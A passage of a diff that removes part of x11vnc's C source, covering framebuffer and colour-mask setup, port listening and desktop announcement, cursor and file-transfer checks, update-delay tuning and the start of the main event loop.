- && XMatchVisualInfo(dpy, scr, 24, TrueColor, &vinfo)
-#endif
- ) {
- main_red_mask = vinfo.red_mask;
- main_green_mask = vinfo.green_mask;
- main_blue_mask = vinfo.blue_mask;
- } else if (fb->byte_order == LSBFirst) {
- main_red_mask = 0x00ff0000;
- main_green_mask = 0x0000ff00;
- main_blue_mask = 0x000000ff;
- } else {
- main_red_mask = 0x000000ff;
- main_green_mask = 0x0000ff00;
- main_blue_mask = 0x00ff0000;
- }
- X_UNLOCK;
- }
-
- if (raw_fb_str && raw_fb_pixfmt) {
- char *fmt = strdup(raw_fb_pixfmt);
- uppercase(fmt);
- if (strstr(fmt, "GREY")) {
- set_greyscale_colormap();
- } else if (strstr(fmt, "HI240")) {
- set_hi240_colormap();
- } else {
- unset_colormap();
- }
- free(fmt);
- }
-
- if (! have_masks && screen->serverFormat.bitsPerPixel <= 16
- && dpy && CellsOfScreen(ScreenOfDisplay(dpy, scr))) {
- /* indexed color. we let 1 <= bpp <= 16, but it is normally 8 */
- if (!quiet) {
- rfbLog("\n");
- rfbLog("X display %s is %dbpp indexed color, depth=%d\n",
- DisplayString(dpy), screen->serverFormat.bitsPerPixel,
- screen->serverFormat.depth);
- if (! flash_cmap && ! overlay) {
- rfbLog("\n");
- rfbLog("In 8bpp PseudoColor mode if you "
- "experience color\n");
- rfbLog("problems you may want to enable "
- "following the\n");
- rfbLog("changing colormap by using the "
- "-flashcmap option.\n");
- rfbLog("\n");
- }
- }
- if (screen->serverFormat.depth < 8) {
- rfbLog("resetting serverFormat.depth %d -> 8.\n",
- screen->serverFormat.depth);
- rfbLog("resetting serverFormat.bpp %d -> 8.\n",
- screen->serverFormat.bitsPerPixel);
- screen->serverFormat.depth = 8;
- screen->serverFormat.bitsPerPixel = 8;
- }
- if (screen->serverFormat.depth > 8) {
- rfbLog("WARNING: indexed color depth > 8, Tight encoding will crash.\n");
- }
-
- screen->serverFormat.trueColour = FALSE;
- indexed_color = 1;
- set_colormap(1);
- debug_colormap(fb);
- } else {
- /*
- * general case, we call it truecolor, but could be direct
- * color, static color, etc....
- */
- if (! quiet) {
- if (raw_fb) {
- rfbLog("\n");
- rfbLog("Raw fb at addr %p is %dbpp depth=%d "
- "true color\n", raw_fb_addr,
- fb_bpp, fb_depth);
- } else if (! dpy) {
- ;
- } else if (have_masks == 2) {
- rfbLog("\n");
- rfbLog("X display %s is %dbpp depth=%d indexed "
- "color (-8to24 mode)\n", DisplayString(dpy),
- fb->bits_per_pixel, fb->depth);
- } else {
- rfbLog("\n");
- rfbLog("X display %s is %dbpp depth=%d true "
- "color\n", DisplayString(dpy),
- fb_bpp, fb_depth);
- }
- }
-
- indexed_color = 0;
-
- if (!have_masks) {
- int M, B = bits_per_color;
-
- if (3*B > fb_bpp) B--;
- if (B < 1) B = 1;
- M = (1 << B) - 1;
-
- rfbLog("WARNING: all TrueColor RGB masks are zero!\n");
- rfbLog("WARNING: cooking something up for VNC fb... B=%d M=%d\n", B, M);
- main_red_mask = M;
- main_green_mask = M;
- main_blue_mask = M;
- main_red_mask = main_red_mask << (2*B);
- main_green_mask = main_green_mask << (1*B);
- main_blue_mask = main_blue_mask << (0*B);
- fprintf(stderr, " red_mask: 0x%08lx %s\n", main_red_mask,
- bitprint(main_red_mask, 32));
- fprintf(stderr, " green_mask: 0x%08lx %s\n", main_green_mask,
- bitprint(main_green_mask, 32));
- fprintf(stderr, " blue_mask: 0x%08lx %s\n", main_blue_mask,
- bitprint(main_blue_mask, 32));
- }
-
- /* convert masks to bit shifts and max # colors */
- if (main_red_mask) {
- while (! (main_red_mask
- & (1 << screen->serverFormat.redShift))) {
- screen->serverFormat.redShift++;
- }
- }
- if (main_green_mask) {
- while (! (main_green_mask
- & (1 << screen->serverFormat.greenShift))) {
- screen->serverFormat.greenShift++;
- }
- }
- if (main_blue_mask) {
- while (! (main_blue_mask
- & (1 << screen->serverFormat.blueShift))) {
- screen->serverFormat.blueShift++;
- }
- }
- screen->serverFormat.redMax
- = main_red_mask >> screen->serverFormat.redShift;
- screen->serverFormat.greenMax
- = main_green_mask >> screen->serverFormat.greenShift;
- screen->serverFormat.blueMax
- = main_blue_mask >> screen->serverFormat.blueShift;
-
- main_red_max = screen->serverFormat.redMax;
- main_green_max = screen->serverFormat.greenMax;
- main_blue_max = screen->serverFormat.blueMax;
-
- main_red_shift = screen->serverFormat.redShift;
- main_green_shift = screen->serverFormat.greenShift;
- main_blue_shift = screen->serverFormat.blueShift;
- }
-
-#if !SMALL_FOOTPRINT
- if (verbose) {
- fprintf(stderr, "\n");
- fprintf(stderr, "FrameBuffer Info:\n");
- fprintf(stderr, " width: %d\n", fb->width);
- fprintf(stderr, " height: %d\n", fb->height);
- fprintf(stderr, " scaled_width: %d\n", width);
- fprintf(stderr, " scaled_height: %d\n", height);
- fprintf(stderr, " indexed_color: %d\n", indexed_color);
- fprintf(stderr, " bits_per_pixel: %d\n", fb->bits_per_pixel);
- fprintf(stderr, " depth: %d\n", fb->depth);
- fprintf(stderr, " red_mask: 0x%08lx %s\n", fb->red_mask,
- bitprint(fb->red_mask, 32));
- fprintf(stderr, " green_mask: 0x%08lx %s\n", fb->green_mask,
- bitprint(fb->green_mask, 32));
- fprintf(stderr, " blue_mask: 0x%08lx %s\n", fb->blue_mask,
- bitprint(fb->blue_mask, 32));
- if (cmap8to24) {
- fprintf(stderr, " 8to24 info:\n");
- fprintf(stderr, " fb_bpp: %d\n", fb_bpp);
- fprintf(stderr, " fb_depth: %d\n", fb_depth);
- fprintf(stderr, " red_mask: 0x%08lx %s\n", main_red_mask,
- bitprint(main_red_mask, 32));
- fprintf(stderr, " green_mask: 0x%08lx %s\n", main_green_mask,
- bitprint(main_green_mask, 32));
- fprintf(stderr, " blue_mask: 0x%08lx %s\n", main_blue_mask,
- bitprint(main_blue_mask, 32));
- }
- fprintf(stderr, " red: max: %3d shift: %2d\n",
- main_red_max, main_red_shift);
- fprintf(stderr, " green: max: %3d shift: %2d\n",
- main_green_max, main_green_shift);
- fprintf(stderr, " blue: max: %3d shift: %2d\n",
- main_blue_max, main_blue_shift);
- fprintf(stderr, " mainfb_bytes_per_line: %d\n",
- main_bytes_per_line);
- fprintf(stderr, " rfb_fb_bytes_per_line: %d\n",
- rfb_bytes_per_line);
- fprintf(stderr, " rot_fb_bytes_per_line: %d\n",
- rot_bytes_per_line);
- fprintf(stderr, " raw_fb_bytes_per_line: %d\n",
- raw_fb_bytes_per_line);
- switch(fb->format) {
- case XYBitmap:
- fprintf(stderr, " format: XYBitmap\n"); break;
- case XYPixmap:
- fprintf(stderr, " format: XYPixmap\n"); break;
- case ZPixmap:
- fprintf(stderr, " format: ZPixmap\n"); break;
- default:
- fprintf(stderr, " format: %d\n", fb->format); break;
- }
- switch(fb->byte_order) {
- case LSBFirst:
- fprintf(stderr, " byte_order: LSBFirst\n"); break;
- case MSBFirst:
- fprintf(stderr, " byte_order: MSBFirst\n"); break;
- default:
- fprintf(stderr, " byte_order: %d\n", fb->byte_order);
- break;
- }
- fprintf(stderr, " bitmap_pad: %d\n", fb->bitmap_pad);
- fprintf(stderr, " bitmap_unit: %d\n", fb->bitmap_unit);
- switch(fb->bitmap_bit_order) {
- case LSBFirst:
- fprintf(stderr, " bitmap_bit_order: LSBFirst\n"); break;
- case MSBFirst:
- fprintf(stderr, " bitmap_bit_order: MSBFirst\n"); break;
- default:
- fprintf(stderr, " bitmap_bit_order: %d\n",
- fb->bitmap_bit_order); break;
- }
- }
- if (overlay && ! quiet) {
- rfbLog("\n");
- rfbLog("Overlay mode enabled: If you experience color\n");
- rfbLog("problems when popup menus are on the screen, try\n");
- rfbLog("disabling SaveUnders in your X server, one way is\n");
- rfbLog("to start the X server with the '-su' option, e.g.:\n");
- rfbLog("Xsun -su ... see Xserver(1), xinit(1) for more info.\n");
- rfbLog("\n");
- }
-#endif
- /* nofb is for pointer/keyboard only handling. */
- if (nofb) {
- main_fb = NULL;
- rfb_fb = main_fb;
- cmap8to24_fb = NULL;
- rot_fb = NULL;
- screen->displayHook = nofb_hook;
- } else {
- main_fb = fb->data;
- rfb_fb = NULL;
- cmap8to24_fb = NULL;
- rot_fb = NULL;
-
- if (cmap8to24) {
- int n = main_bytes_per_line * fb->height;
- if (depth <= 8) {
- n *= 4;
- } else if (depth <= 16) {
- n *= 2;
- }
- cmap8to24_fb = (char *) malloc(n);
- memset(cmap8to24_fb, 0, n);
- }
-
- if (rotating) {
- int n = rot_bytes_per_line * height;
- rot_fb = (char *) malloc(n);
- memset(rot_fb, 0, n);
- }
-
- if (scaling) {
- int n = rfb_bytes_per_line * height;
-
- if (rotating && ! rotating_same) {
- n = rot_bytes_per_line * height;
- }
-
- rfb_fb = (char *) malloc(n);
- memset(rfb_fb, 0, n);
-
- } else if (cmap8to24) {
- rfb_fb = cmap8to24_fb;
- } else {
- rfb_fb = main_fb;
- }
- }
- if (rot_fb) {
- screen->frameBuffer = rot_fb;
- } else {
- screen->frameBuffer = rfb_fb;
- }
- if (verbose) {
- fprintf(stderr, " rfb_fb: %p\n", rfb_fb);
- fprintf(stderr, " main_fb: %p\n", main_fb);
- fprintf(stderr, " 8to24_fb: %p\n", cmap8to24_fb);
- fprintf(stderr, " rot_fb: %p\n", rot_fb);
- fprintf(stderr, " snap_fb: %p\n", snap_fb);
- fprintf(stderr, " raw_fb: %p\n", raw_fb);
- fprintf(stderr, " fake_fb: %p\n", fake_fb);
- fprintf(stderr, "\n");
- }
-
- /* may need, bpp, main_red_max, etc. */
- parse_wireframe();
- parse_scroll_copyrect();
- setup_cursors_and_push();
-
- if (scaling || rotating || cmap8to24) {
- mark_rect_as_modified(0, 0, dpy_x, dpy_y, 0);
- }
-
- if (! create_screen) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
-
- /*
- * since bits_per_color above may have been approximate,
- * try to reset the individual translation tables...
- * we do not seem to need this with rfbGetScreen()...
- */
- if (!quiet) rfbLog("calling setTranslateFunction()...\n");
- iter = rfbGetClientIterator(screen);
- while ((cl = rfbClientIteratorNext(iter)) != NULL) {
- screen->setTranslateFunction(cl);
- }
- rfbReleaseClientIterator(iter);
- if (!quiet) rfbLog(" done.\n");
-
- /* done for framebuffer change case */
- if (locked_sends) {
- lock_client_sends(0);
- }
-
- do_copy_screen = 1;
- return;
- }
-
- /*
- * the rest is screen server initialization, etc, only needed
- * at screen creation time.
- */
-
- /* event callbacks: */
- screen->newClientHook = new_client;
- screen->kbdAddEvent = keyboard;
- screen->ptrAddEvent = pointer_event;
- screen->setXCutText = xcut_receive;
- screen->setTranslateFunction = set_xlate_wrapper;
-
- screen->kbdReleaseAllKeys = kbd_release_all_keys;
- screen->setSingleWindow = set_single_window;
- screen->setServerInput = set_server_input;
- screen->setTextChat = set_text_chat;
- screen->getFileTransferPermission = get_file_transfer_permitted;
-
- /* called from inetd, we need to treat stdio as our socket */
- if (inetd && use_openssl) {
- /* accept_openssl() called later */
- screen->port = 0;
- } else if (inetd) {
- int fd = dup(0);
- if (fd < 0) {
- rfbLogEnable(1);
- rfbErr("dup(0) = %d failed.\n", fd);
- rfbLogPerror("dup");
- clean_up_exit(1);
- }
- fclose(stdin);
- fclose(stdout);
- /* we keep stderr for logging */
- screen->inetdSock = fd;
- screen->port = 0;
-
- } else if (! got_rfbport && auto_port > 0) {
- int lport = find_free_port(auto_port, auto_port+200);
- screen->autoPort = FALSE;
- screen->port = lport;
- } else if (! got_rfbport) {
- screen->autoPort = TRUE;
- } else if (got_rfbport && got_rfbport_val == 0) {
- screen->autoPort = FALSE;
- screen->port = 0;
- }
-
- if (! got_nevershared && ! got_alwaysshared) {
- if (shared) {
- screen->alwaysShared = TRUE;
- } else {
- screen->neverShared = TRUE;
- }
- screen->dontDisconnect = TRUE;
- }
- if (! got_deferupdate) {
- screen->deferUpdateTime = defer_update;
- } else {
- defer_update = screen->deferUpdateTime;
- }
-
- if (noipv4 || getenv("IPV4_FAILS")) {
- rfbBool ap = screen->autoPort;
- int port = screen->port;
-
- if (getenv("IPV4_FAILS")) {
- rfbLog("TESTING: IPV4_FAILS for rfbInitServer()\n");
- }
-
- screen->autoPort = FALSE;
- screen->port = 0;
-
- rfbInitServer(screen);
-
- screen->autoPort = ap;
- screen->port = port;
-
- } else {
- rfbInitServer(screen);
- }
-
- if (use_openssl) {
- openssl_port(0);
- if (https_port_num >= 0) {
- https_port(0);
- }
- } else {
- if (ipv6_listen) {
- int fd = -1;
- if (screen->port <= 0) {
- if (got_rfbport) {
- screen->port = got_rfbport_val;
- } else {
- int ap = 5900;
- if (auto_port > 0) {
- ap = auto_port;
- }
- screen->port = find_free_port6(ap, ap+200);
- }
- }
- fd = listen6(screen->port);
- if (fd < 0) {
- ipv6_listen = 0;
- rfbLog("Not listening on IPv6 interface.\n");
- } else {
- rfbLog("Listening %s on IPv6 port %d (socket %d)\n",
- screen->listenSock < 0 ? "only" : "also",
- screen->port, fd);
- ipv6_listen_fd = fd;
- }
- }
- }
-
- install_passwds();
-
- if (locked_sends) {
- lock_client_sends(0);
- }
- return;
-}
-
-#define DO_AVAHI \
- if (avahi) { \
- avahi_initialise(); \
- avahi_advertise(vnc_desktop_name, host, lport); \
- usleep(1000*1000); \
- }
-
-void announce(int lport, int ssl, char *iface) {
-
- char *host = this_host();
- char *tvdt;
-
- if (remote_direct) {
- return;
- }
-
- if (! ssl) {
- tvdt = "The VNC desktop is: ";
- } else {
- if (enc_str && !strcmp(enc_str, "none")) {
- tvdt = "The VNC desktop is: ";
- } else if (enc_str) {
- tvdt = "The ENC VNC desktop is: ";
- } else {
- tvdt = "The SSL VNC desktop is: ";
- }
- }
-
- if (iface != NULL && *iface != '\0' && strcmp(iface, "any")) {
- host = iface;
- }
- if (host != NULL) {
- /* note that vncviewer special cases 5900-5999 */
- int sz = 256;
- if (inetd) {
- ; /* should not occur (port) */
- } else if (quiet) {
- if (lport >= 5900) {
- snprintf(vnc_desktop_name, sz, "%s:%d",
- host, lport - 5900);
- DO_AVAHI
- fprintf(stderr, "\n%s %s\n", tvdt,
- vnc_desktop_name);
- } else {
- snprintf(vnc_desktop_name, sz, "%s:%d",
- host, lport);
- DO_AVAHI
- fprintf(stderr, "\n%s %s\n", tvdt,
- vnc_desktop_name);
- }
- } else if (lport >= 5900) {
- snprintf(vnc_desktop_name, sz, "%s:%d",
- host, lport - 5900);
- DO_AVAHI
- fprintf(stderr, "\n%s %s\n", tvdt, vnc_desktop_name);
- if (lport >= 6000) {
- rfbLog("possible aliases: %s:%d, "
- "%s::%d\n", host, lport,
- host, lport);
- }
- } else {
- snprintf(vnc_desktop_name, sz, "%s:%d",
- host, lport);
- DO_AVAHI
- fprintf(stderr, "\n%s %s\n", tvdt, vnc_desktop_name);
- rfbLog("possible alias: %s::%d\n",
- host, lport);
- }
- }
-}
-
-static void announce_http(int lport, int ssl, char *iface, char *extra) {
-
- char *host = this_host();
- char *jvu;
- int http = 0;
-
- if (enc_str && !strcmp(enc_str, "none") && !use_stunnel) {
- jvu = "Java viewer URL: http";
- http = 1;
- } else if (ssl == 1) {
- jvu = "Java SSL viewer URL: https";
- } else if (ssl == 2) {
- jvu = "Java SSL viewer URL: http";
- http = 1;
- } else {
- jvu = "Java viewer URL: http";
- http = 1;
- }
-
- if (iface != NULL && *iface != '\0' && strcmp(iface, "any")) {
- host = iface;
- }
- if (http && getenv("X11VNC_HTTP_LISTEN_LOCALHOST")) {
- host = "localhost";
- }
- if (host != NULL) {
- if (! inetd) {
- fprintf(stderr, "%s://%s:%d/%s\n", jvu, host, lport, extra);
- }
- }
-}
-
-void do_announce_http(void) {
- if (!screen) {
- return;
- }
- if (remote_direct) {
- return;
- }
-
- /* XXX ipv6? */
- if ((screen->httpListenSock > -1 || ipv6_http_fd > -1) && screen->httpPort) {
- int enc_none = (enc_str && !strcmp(enc_str, "none"));
- char *SPORT = " (single port)";
- if (use_openssl && ! enc_none) {
- announce_http(screen->port, 1, listen_str, SPORT);
- if (https_port_num >= 0) {
- announce_http(https_port_num, 1,
- listen_str, "");
- }
- announce_http(screen->httpPort, 2, listen_str, "");
- } else if (use_stunnel) {
- char pmsg[100];
- pmsg[0] = '\0';
- if (stunnel_port) {
- sprintf(pmsg, "?PORT=%d", stunnel_port);
- }
- announce_http(screen->httpPort, 2, listen_str, pmsg);
- if (stunnel_http_port > 0) {
- announce_http(stunnel_http_port, 1, NULL, pmsg);
- }
- if (enc_none) {
- strcat(pmsg, SPORT);
- announce_http(stunnel_port, 1, NULL, pmsg);
- }
- } else {
- announce_http(screen->httpPort, 0, listen_str, "");
- if (enc_none) {
- announce_http(screen->port, 1, NULL, SPORT);
- }
- }
- }
-}
-
-void do_mention_java_urls(void) {
- if (! quiet && screen) {
- /* XXX ipv6? */
- if (screen->httpListenSock > -1 && screen->httpPort) {
- rfbLog("\n");
- rfbLog("The URLs printed out below ('Java ... viewer URL') can\n");
- rfbLog("be used for Java enabled Web browser connections.\n");
- if (!stunnel_port && enc_str && !strcmp(enc_str, "none")) {
- ;
- } else if (use_openssl || stunnel_port) {
- rfbLog("Here are some additional possibilities:\n");
- rfbLog("\n");
- rfbLog("https://host:port/proxy.vnc (MUST be used if Web Proxy used)\n");
- rfbLog("\n");
- rfbLog("https://host:port/ultra.vnc (Use UltraVNC Java Viewer)\n");
- rfbLog("https://host:port/ultraproxy.vnc (Web Proxy with UltraVNC)\n");
- rfbLog("https://host:port/ultrasigned.vnc (Signed UltraVNC Filexfer)\n");
- rfbLog("\n");
- rfbLog("Where you replace \"host:port\" with that printed below, or\n");
- rfbLog("whatever is needed to reach the host e.g. Internet IP number\n");
- rfbLog("\n");
- rfbLog("Append ?GET=1 to a URL for faster loading or supply:\n");
- rfbLog("-env X11VNC_EXTRA_HTTPS_PARAMS='?GET=1' to cmdline.\n");
- }
- }
- rfbLog("\n");
- }
-}
-
-void set_vnc_desktop_name(void) {
- sprintf(vnc_desktop_name, "unknown");
- if (inetd) {
- sprintf(vnc_desktop_name, "%s/inetd-no-further-clients",
- this_host());
- }
- if (remote_direct) {
- return;
- }
- if (screen->port) {
-
- do_mention_java_urls();
-
- if (use_openssl) {
- announce(screen->port, 1, listen_str);
- } else {
- announce(screen->port, 0, listen_str);
- }
- if (stunnel_port) {
- announce(stunnel_port, 1, NULL);
- }
-
- do_announce_http();
-
- fflush(stderr);
- if (inetd) {
- ; /* should not occur (port != 0) */
- } else {
- fprintf(stdout, "PORT=%d\n", screen->port);
- if (stunnel_port) {
- fprintf(stdout, "SSLPORT=%d\n", stunnel_port);
- } else if (use_openssl) {
- if (enc_str && !strcmp(enc_str, "none")) {
- ;
- } else if (enc_str) {
- fprintf(stdout, "ENCPORT=%d\n", screen->port);
- } else {
- fprintf(stdout, "SSLPORT=%d\n", screen->port);
- }
- }
- fflush(stdout);
- if (flagfile) {
- FILE *flag = fopen(flagfile, "w");
- if (flag) {
- fprintf(flag, "PORT=%d\n",screen->port);
- if (stunnel_port) {
- fprintf(flag, "SSL_PORT=%d\n",
- stunnel_port);
- }
- fflush(flag);
- fclose(flag);
- } else {
- rfbLog("could not open flag file: %s\n",
- flagfile);
- }
- }
- if (rm_flagfile) {
- int create = 0;
- struct stat sb;
- if (strstr(rm_flagfile, "create:") == rm_flagfile) {
- char *s = rm_flagfile;
- create = 1;
- rm_flagfile = strdup(rm_flagfile + strlen("create:"));
- free(s);
- }
- if (strstr(rm_flagfile, "nocreate:") == rm_flagfile) {
- char *s = rm_flagfile;
- create = 0;
- rm_flagfile = strdup(rm_flagfile + strlen("nocreate:"));
- free(s);
- } else if (stat(rm_flagfile, &sb) != 0) {
- create = 1;
- }
- if (create) {
- FILE *flag = fopen(rm_flagfile, "w");
- if (flag) {
- fprintf(flag, "%d\n", getpid());
- fclose(flag);
- }
- }
- }
- }
- fflush(stdout);
- }
-}
-
-static void check_cursor_changes(void) {
- static double last_push = 0.0;
-
- if (unixpw_in_progress) return;
-
- cursor_changes += check_x11_pointer();
-
- if (cursor_changes) {
- double tm, max_push = 0.125, multi_push = 0.01, wait = 0.02;
- int cursor_shape, dopush = 0, link, latency, netrate;
-
- if (! all_clients_initialized()) {
- /* play it safe */
- return;
- }
-
- if (0) cursor_shape = cursor_shape_updates_clients(screen);
-
- dtime0(&tm);
- link = link_rate(&latency, &netrate);
- if (link == LR_DIALUP) {
- max_push = 0.2;
- wait = 0.05;
- } else if (link == LR_BROADBAND) {
- max_push = 0.075;
- wait = 0.05;
- } else if (link == LR_LAN) {
- max_push = 0.01;
- } else if (latency < 5 && netrate > 200) {
- max_push = 0.01;
- }
-
- if (tm > last_push + max_push) {
- dopush = 1;
- } else if (cursor_changes > 1 && tm > last_push + multi_push) {
- dopush = 1;
- }
-
- if (dopush) {
- mark_rect_as_modified(0, 0, 1, 1, 1);
- fb_push_wait(wait, FB_MOD);
- last_push = tm;
- } else {
- rfbPE(0);
- }
- }
- cursor_changes = 0;
-}
-
-/*
- * These watch_loop() releated were moved from x11vnc.c so we could try
- * to remove -O2 from its compilation. TDB new file, e.g. watch.c.
- */
-
-static void check_filexfer(void) {
- static time_t last_check = 0;
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int transferring = 0;
-
- if (time(NULL) <= last_check) {
- return;
- }
-
-#if 0
- if (getenv("NOFT")) {
- return;
- }
-#endif
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- if (cl->fileTransfer.receiving) {
- transferring = 1;
- break;
- }
- if (cl->fileTransfer.sending) {
- transferring = 1;
- break;
- }
- }
- rfbReleaseClientIterator(iter);
-
- if (transferring) {
- double start = dnow();
- while (dnow() < start + 0.5) {
- rfbCFD(5000);
- rfbCFD(1000);
- rfbCFD(0);
- }
- } else {
- last_check = time(NULL);
- }
-}
-
-static void record_last_fb_update(void) {
- static int rbs0 = -1;
- static time_t last_call = 0;
- time_t now = time(NULL);
- int rbs = -1;
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
-
- if (last_fb_bytes_sent == 0) {
- last_fb_bytes_sent = now;
- last_call = now;
- }
-
- if (now <= last_call + 1) {
- /* check every second or so */
- return;
- }
-
- if (unixpw_in_progress) return;
-
- last_call = now;
-
- if (! screen) {
- return;
- }
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
-#if 0
- rbs += cl->rawBytesEquivalent;
-#else
-#if LIBVNCSERVER_HAS_STATS
- rbs += rfbStatGetSentBytesIfRaw(cl);
-#endif
-#endif
- }
- rfbReleaseClientIterator(iter);
-
- if (rbs != rbs0) {
- rbs0 = rbs;
- if (debug_tiles > 1) {
- fprintf(stderr, "record_last_fb_update: %d %d\n",
- (int) now, (int) last_fb_bytes_sent);
- }
- last_fb_bytes_sent = now;
- }
-}
-
-
-static int choose_delay(double dt) {
- static double t0 = 0.0, t1 = 0.0, t2 = 0.0, now;
- static int x0, y0, x1, y1, x2, y2, first = 1;
- int dx0, dy0, dx1, dy1, dm, i, msec = waitms;
- double cut1 = 0.15, cut2 = 0.075, cut3 = 0.25;
- double bogdown_time = 0.25, bave = 0.0;
- int bogdown = 1, bcnt = 0;
- int ndt = 8, nave = 3;
- double fac = 1.0;
- static int db = 0, did_set_defer = 0;
- static double dts[8];
- static int link = LR_UNSET, latency = -1, netrate = -1;
- static double last_link = 0.0;
-
- if (screen && did_set_defer) {
- /* reset defer in case we changed it */
- screen->deferUpdateTime = defer_update;
- }
- if (waitms == 0) {
- return waitms;
- }
- if (nofb) {
- return waitms;
- }
-
- if (first) {
- for(i=0; i<ndt; i++) {
- dts[i] = 0.0;
- }
- if (getenv("DEBUG_DELAY")) {
- db = atoi(getenv("DEBUG_DELAY"));
- }
- if (getenv("SET_DEFER")) {
- set_defer = atoi(getenv("SET_DEFER"));
- }
- first = 0;
- }
-
- now = dnow();
-
- if (now > last_link + 30.0 || link == LR_UNSET) {
- link = link_rate(&latency, &netrate);
- last_link = now;
- }
-
- /*
- * first check for bogdown, e.g. lots of activity, scrolling text
- * from command output, etc.
- */
- if (nap_ok) {
- dt = 0.0;
- }
- if (! wait_bog) {
- bogdown = 0;
-
- } else if (button_mask || now < last_keyboard_time + 2*bogdown_time) {
- /*
- * let scrolls & keyboard input through the normal way
- * otherwise, it will likely just annoy them.
- */
- bogdown = 0;
-
- } else if (dt > 0.0) {
- /*
- * inspect recent dt's:
- * 0 1 2 3 4 5 6 7 dt
- * ^ ^ ^
- */
- for (i = ndt - (nave - 1); i < ndt; i++) {
- bave += dts[i];
- bcnt++;
- if (dts[i] < bogdown_time) {
- bogdown = 0;
- break;
- }
- }
- bave += dt;
- bcnt++;
- bave = bave / bcnt;
- if (dt < bogdown_time) {
- bogdown = 0;
- }
- } else {
- bogdown = 0;
- }
- /* shift for next time */
- for (i = 0; i < ndt-1; i++) {
- dts[i] = dts[i+1];
- }
- dts[ndt-1] = dt;
-
-if (0 && dt > 0.0) fprintf(stderr, "dt: %.5f %.4f\n", dt, dnowx());
- if (bogdown) {
- if (use_xdamage) {
- /* DAMAGE can queue ~1000 rectangles for a scroll */
- clear_xdamage_mark_region(NULL, 0);
- }
- msec = (int) (1000 * 1.75 * bave);
- if (dts[ndt - nave - 1] > 0.75 * bave) {
- msec = 1.5 * msec;
- set_xdamage_mark(0, 0, dpy_x, dpy_y);
- }
- if (msec > 1500) {
- msec = 1500;
- }
- if (msec < waitms) {
- msec = waitms;
- }
- db = (db || debug_tiles);
- if (db) fprintf(stderr, "bogg[%d] %.3f %.3f %.3f %.3f\n",
- msec, dts[ndt-4], dts[ndt-3], dts[ndt-2], dts[ndt-1]);
-
- return msec;
- }
-
- /* next check for pointer motion, keystrokes, to speed up */
- t2 = dnow();
- x2 = cursor_x;
- y2 = cursor_y;
-
- dx0 = nabs(x1 - x0);
- dy0 = nabs(y1 - y0);
- dx1 = nabs(x2 - x1);
- dy1 = nabs(y2 - y1);
-
- /* bigger displacement for most recent dt: */
- if (dx1 > dy1) {
- dm = dx1;
- } else {
- dm = dy1;
- }
-
- if ((dx0 || dy0) && (dx1 || dy1)) {
- /* if mouse moved the previous two times: */
- if (t2 < t0 + cut1 || t2 < t1 + cut2 || dm > 20) {
- /*
- * if within 0.15s(0) or 0.075s(1) or mouse
- * moved > 20pixels, set and bump up the cut
- * down factor.
- */
- fac = wait_ui * 1.5;
- } else if ((dx1 || dy1) && dm > 40) {
- fac = wait_ui;
- } else {
- /* still 1.0? */
- if (db > 1) fprintf(stderr, "wait_ui: still 1.0\n");
- }
- } else if ((dx1 || dy1) && dm > 40) {
- /* if mouse moved > 40 last time: */
- fac = wait_ui;
- }
-
- if (fac == 1.0 && t2 < last_keyboard_time + cut3) {
- /* if typed in last 0.25s set wait_ui */
- fac = wait_ui;
- }
- if (fac != 1.0) {
- if (link == LR_LAN || latency <= 3) {
- fac *= 1.5;
- }
- }
-
- msec = (int) (((double) waitms) / fac);
- if (msec == 0) {
- msec = 1;
- }
-
- if (set_defer && fac != 1.0 && screen) {
- /* this is wait_ui mode, set defer to match wait: */
- if (set_defer >= 1) {
- screen->deferUpdateTime = msec;
- } else if (set_defer <= -1) {
- screen->deferUpdateTime = 0;
- }
- if (nabs(set_defer) == 2) {
- urgent_update = 1;
- }
- did_set_defer = 1;
- }
-
- x0 = x1;
- y0 = y1;
- t0 = t1;
-
- x1 = x2;
- y1 = y2;
- t1 = t2;
-
- if (db > 1) fprintf(stderr, "wait: %2d defer[%02d]: %2d\n", msec, defer_update, screen->deferUpdateTime);
-
- return msec;
-}
-
-/*
- * main x11vnc loop: polls, checks for events, iterate libvncserver, etc.
- */
-void watch_loop(void) {
- int cnt = 0, tile_diffs = 0, skip_pe = 0, wait;
- double tm, dtr, dt = 0.0;
- time_t start = time(NULL);
-
- if (use_threads && !started_rfbRunEventLoop) {
- started_rfbRunEventLoop = 1;
- rfbRunEventLoop(screen, -1, TRUE);
- }
-
- while (1) {
- char msg[] = "new client: %s taking unixpw client off hold.\n";
- int skip_scan_for_updates = 0;
-
- got_user_input = 0;
- got_pointer_input = 0;
- got_local_pointer_input = 0;
- got_pointer_calls = 0;
- got_keyboard_input = 0;
- got_keyboard_calls = 0;
- urgent_update = 0;
-
- x11vnc_current = dnow();
-
- if (! use_threads) {
- dtime0(&tm);
- if (! skip_pe) {
- if (unixpw_in_progress) {
- rfbClientPtr cl = unixpw_client;
- if (cl && cl->onHold) {
- rfbLog(msg, cl->host);
- unixpw_client->onHold = FALSE;
- }
- } else {
- measure_send_rates(1);
- }
-
- unixpw_in_rfbPE = 1;
-
- /*
- * do a few more since a key press may
- * have induced a small change we want to
- * see quickly (just 1 rfbPE will likely
- * only process the subsequent "up" event)
- */
- if (tm < last_keyboard_time + 0.20) {
- rfbPE(0);
- rfbPE(0);
- rfbPE(-1);
- rfbPE(0);
- rfbPE(0);
- } else {
- if (extra_fbur > 0) {
- int i;
- for (i=0; i < extra_fbur; i++) {
- rfbPE(0);
- }
- }
- rfbPE(-1);
- }
- if (x11vnc_current < last_new_client + 0.5) {
- urgent_update = 1;
- }
-
- unixpw_in_rfbPE = 0;
-
- if (unixpw_in_progress) {
- /* rfbPE loop until logged in. */
- skip_pe = 0;
- check_new_clients();
- continue;
- } else {
- measure_send_rates(0);
- fb_update_sent(NULL);
- }
- } else {
- if (unixpw_in_progress) {
- skip_pe = 0;
- check_new_clients();
- continue;
- }
- }
- dtr = dtime(&tm);
-
- if (! cursor_shape_updates) {
- /* undo any cursor shape requests */
- disable_cursor_shape_updates(screen);
- }
- if (screen && screen->clientHead) {
- int ret = check_user_input(dt, dtr, tile_diffs, &cnt);
- /* true: loop back for more input */
- if (ret == 2) {
- skip_pe = 1;
- }
- if (ret) {
